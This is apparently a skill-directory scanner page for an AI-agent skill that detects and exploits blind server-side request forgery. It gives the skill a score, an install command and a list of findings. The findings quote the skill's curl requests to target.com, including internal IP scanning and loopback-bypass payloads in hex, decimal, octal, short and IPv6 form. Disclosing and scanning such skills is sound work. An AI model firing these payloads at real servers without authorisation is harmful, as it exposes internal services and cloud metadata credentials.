← All skills
performing-blind-ssrf-exploitation
92 / 100 · Low risk
Fine to try.
By plurigrid/asi (GitHub) · other · 72 stars · scanned at commit 293ce9f
Detect and exploit blind Server-Side Request Forgery vulnerabilities using out-of-band techniques, DNS interactions, and timing analysis to access internal services and cloud metadata endpoints.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com, $ip, 0x7f000001, 2130706433, 0177.0.0.1, 127.1, [
This is disclosed by the author in the skill's SKILL.md or README.
Found in 26 places.
Show 17 more
- plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 55
curl -X POST http://target.com/api/import \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 66
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 71
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 76
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 89
curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5 - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 97
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 103
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 110
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 114
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 118
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 122
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 127
curl -X POST http://target.com/api/fetch \ - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 134
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}' # Hex - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 135
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}' # Decimal - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 136
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}' # Octal - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 137
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}' # Short - plugins/asi/skills/performing-blind-ssrf-exploitation/SKILL.md, line 138
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}' # IPv6
and 6 more places
Runs commands on your computer
The author does not mention this.
Found in 6 places.
Show 3 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'performing-blind-ssrf-exploitation' ] || [ -L ~/.agents/skills/'performing-blind-ssrf-exploitation' ]; then echo 'A skill folder named performing-blind-ssrf-exploitation already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/plurigrid/asi' "$d" && git -C "$d" checkout --quiet '293ce9f76e3abcd5ba18db284688bc0d9ac6691d' -- 'plugins/asi/skills/performing-blind-ssrf-exploitation' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/asi/skills/performing-blind-ssrf-exploitation' ~/.agents/skills/'performing-blind-ssrf-exploitation' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'performing-blind-ssrf-exploitation' ~/.claude/skills/'performing-blind-ssrf-exploitation' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for plurigrid/asi shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/plurigrid/asi/)
Score history
| Date | Version | Score |
|---|
| 2026-11-07 | 293ce9f | 92 |